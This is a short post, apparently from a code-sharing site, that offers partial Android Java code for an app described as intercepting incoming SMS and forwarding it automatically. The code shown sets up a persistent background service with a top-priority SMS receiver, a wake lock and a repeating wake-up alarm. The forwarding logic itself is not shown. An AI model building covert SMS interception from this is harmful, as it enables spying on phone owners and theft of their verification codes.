可實現攔截短信，自動轉發的功能。

部分代碼：

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;

public class MyService extends Service{
	SMSReceiver rs=null;
	static MyService  service;
	private static PendingIntent pi = null;
	public static AlarmManager am = null;
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		service=this;
		pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
		registerAlarm();
		acquireWakeLock(this);
		registerRecever();
	}
	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
		releaseWakeLock();
		unregisterAlarm();
	}
	private void registerRecever(){
		rs=new SMSReceiver();
		IntentFilter filter=new IntentFilter();
		filter.addAction("android.provider.Telephony.SMS_RECEIVED");
		filter.setPriority(1000);
		registerReceiver(rs, filter);
	}
	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		// TODO Auto-generated method stub
		if(rs==null)registerRecever();
		return START_STICKY;
	}
	public static WakeLock wakeLock = null;
	private static PowerManager pm = null;
	public static synchronized void acquireWakeLock(Context c) {
		if (null == wakeLock) {
			wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "smslock");
			wakeLock.acquire();
		}
	}

	public static synchronized void releaseWakeLock() {
		if (wakeLock == null)
			return;
		if (wakeLock.isHeld()) {
			wakeLock.release();
			wakeLock = null;
		}
	}
	/**
	 * 啟動重復型定時器
	 */
	public static void registerAlarm() {
		if(Config.getAlarm())return;
		Intent intent = new Intent(service, AlarmReceiver.class);
		pi = PendingIntent.getBroadcast(service, 0, intent,
				PendingIntent.FLAG_CANCEL_CURRENT);
		// 設置一個PendingIntent對象，發送廣播
		am = (AlarmManager) service.getSystemService(Context.ALARM_SERVICE);
		// 獲取AlarmManager對象,
		Config.setAlarm(true);
		am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),
				30*60*1000, pi);
	}

	/**
	 * 取消定時器
	 */
	public static void unregisterAlarm() {
		am.cancel(pi);
		am = null;
		Config.setAlarm(false);
	}
}